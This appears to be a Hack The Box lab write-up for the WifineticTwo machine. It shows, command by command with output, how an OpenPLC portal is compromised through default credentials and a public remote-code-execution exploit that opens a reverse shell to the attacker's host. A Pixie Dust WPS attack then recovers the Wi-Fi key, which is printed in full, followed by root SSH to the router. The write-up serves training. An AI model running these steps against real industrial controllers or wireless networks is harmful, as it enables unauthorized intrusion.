Another seasonal machine for Season 4.
Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ nmap -sV -sC -oN nmap_results 10.10.11.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-17 13:52 CET
Nmap scan report for 10.10.11.7
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zfbnhg.UafLqgJYrF881HEB9Z6dvoPgDc0; Expires=Sun, 17-Mar-2024 12:57:22 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sun, 17 Mar 2024 12:52:22 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.Zfbnhg.av1ffGtXMqLoPQCJOtldBAWPxlU; Expires=Sun, 17-Mar-2024 12:57:22 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sun, 17 Mar 2024 12:52:22 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.Zfbnhg.UafLqgJYrF881HEB9Z6dvoPgDc0; Expires=Sun, 17-Mar-2024 12:57:22 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sun, 17 Mar 2024 12:52:22 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.40 seconds
Accessing that port leads us to a openPLC portal.
The default credentials openplc:openplc
work.
Foothold
We can find active vulnerabilities via searchploit
or exploit-db.com.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ searchsploit openplc
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
OpenPLC 3 - Remote Code Execution (Authenticated) | python/webapps/49803.py
OpenPLC WebServer 3 - Denial of Service | multiple/dos/51746.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
$ searchsploit -m 49803
Exploit: OpenPLC 3 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/49803
Path: /usr/share/exploitdb/exploits/python/webapps/49803.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable, with very long lines (1794)
Copied to: /home/kali/ctf/htb/wifinetictwo/49803.py
This script needs to be modified as it has the compile-program
name hardcoded, when logging into the openplc portal we can see that we need to upload and overwrite a program called blank_program
.
1
2
3
4
5
6
7
8
9
10
host = options.url
login = options.url + '/login'
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()
When running the modified script, we get a reverse shell.
1
2
3
4
5
6
7
8
9
10
$ python3 49803.py -u http://10.10.11.7:8080 -l openplc -p openplc -i 10.10.14.63 -r 1234
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080 is Up...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[+] Login success!
[+] PLC program uploading...
[+] Attempt to Code injection...
[+] Spawning Reverse Shell...
[+] Reverse connection receveid!
As we are in a container, we need to find a way to evelate privileges. The user can run everything as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc -lvnp 1234
$ pwd
/opt/PLC/OpenPLC_v3/webserver
$ sudo -l
Matching Defaults entries for root on attica02:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User root may run the following commands on attica02:
(ALL : ALL) ALL
$ sudo bash
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cd /root
$ ls
user.txt
$ cat user.txt
1691**REDACTED**cabb
Privilege Escalation
We see there are active wifi connection, that we can connect to. We could try to connect to it and crack the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA"
BSS 02:00:00:00:01:00(on wlan0)
SSID: plcrouter
* Authentication suites: PSK
* SSID List
WPS: * Version: 1.0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 326.692s [boottime]
TSF: 1710751812065289 usec (19800d, 08:50:12)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
Cracking the password could be done by a pixie dust attack.
In a Pixie Dust attack, the attacker targets the WPS protocol by exploiting its vulnerabilities in the PIN generation process. A WPS PIN, comprising 8 digits, is actually split into two Pre-Shared-Keys (PSKs), with each PSK containing half of the PIN. By intercepting the WPS handshake exchange between the device and the router, the attacker obtains essential information including hashes of the WPS PIN and nonces. Since some routers implement weak or predictable nonce generation, attackers can efficiently brute-force the PIN offline, even on slower systems, to gain unauthorized access to the Wi-Fi network. This attack is effective due to flawed implementations in many routers, making them susceptible to exploitation.
There are several tools available that do this, like Reaver
, but I found a Python version of oneshot
particularly effective. We set it up using parameters like -i
for indicating the interface, -K
to initiate the Pixie Dust attack, and --iface-down
to shut down the network post-attack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cd /tmp
$ curl http://10.10.14.63/oneshot.py -o oneshot.py
$ chmod +x oneshot.py
$ sudo python3 oneshot.py -i wlan0 --iface-down -K
[*] Running wpa_supplicant…
[*] BSSID not specified (--bssid) — scanning for available networks
Networks list:
# BSSID ESSID Sec. PWR WSC device name WSC model
1) 02:00:00:00:01:00 plcrouter WPA2 -30
Select target (press Enter to refresh): 1
[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
...
...
...
[+] WPS PIN: '12345670'
[+] WPA PSK: 'NoWW**REDACTED**123!'
[+] AP SSID: 'plcrouter'
After retrieving the password, you can connect to the WiFi network. Begin by setting up a wpa_supplicant
file containing the ssid
and psk
, then load this configuration file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$ iw dev
phy#3
Interface wlan0
ifindex 6
wdev 0x300000001
addr 02:00:00:00:03:00
type managed
txpower 20.00 dBm
$ echo -e "network={\n ssid=\"plcrouter\"\n psk=\"NoWWEDoKnowWhaTisReal123!\"\n}" | sudo tee /etc/wpa_supplicant/wifi.conf > /dev/null
$ cat /etc/wpa_supplicant/wifi.conf
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
}
$ sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wifi.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
iwconfig
eth0 no wireless extensions.
lo no wireless extensions.
wlan0 IEEE 802.11 ESSID:"plcrouter"
Mode:Managed Frequency:2.412 GHz Access Point: 02:00:00:00:01:00
Bit Rate:12 Mb/s Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=70/70 Signal level=-30 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:8 Missed beacon:0
$ ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet6 fe80::ff:fe00:300 prefixlen 64 scopeid 0x20<link>
ether 02:00:00:00:03:00 txqueuelen 1000 (Ethernet)
RX packets 19 bytes 2239 (2.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 16 bytes 2172 (2.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
We can now assign us an IP address (we chose 192.168.1.8 but can be any address that isn’t used) and find out we are connected to the network, now we can scan the network.
1
2
3
4
5
$ ifconfig wlan0 192.168.1.8 netmask 255.255.255.0
$ ping 192.168.1.8
PING 1192.168.1.8 (192.168.1.8) 56(84) bytes of data.
64 bytes from 192.168.1.8: icmp_seq=1 ttl=64 time=0.021 ms
64 bytes from 192.168.1.8: icmp_seq=2 ttl=64 time=0.040 ms
We create a oneliner to ping all ip addressess on the network.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
192.168.1.1 active
192.168.1.2 N/A
192.168.1.3 N/A
192.168.1.4 N/A
192.168.1.5 N/A
192.168.1.6 N/A
192.168.1.7 N/A
192.168.1.8 active
192.168.1.9 N/A
192.168.1.10 N/A
...
...
...
192.168.1.252 N/A
192.168.1.253 N/A
192.168.1.254 N/A
192.168.1.255 N/A
We can see “192.168.1.1” exists and try to SSH into it.
1
2
3
4
5
ssh root@192.168.1.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.
Disable Strict Host Key Checking (Not Recommended as it leaves you open for MiTM attacks):
We needed to set the -o StrictHostKeyChecking=no
to avoid host key verification.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssh -o StrictHostKeyChecking=no root@192.168.1.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Warning: Permanently added '192.168.1.1' (ED25519) to the list of known hosts.
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 23.05.2, r23630-842932a63d
-----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
cat /root/root.txt
1088**REDACTED**1e36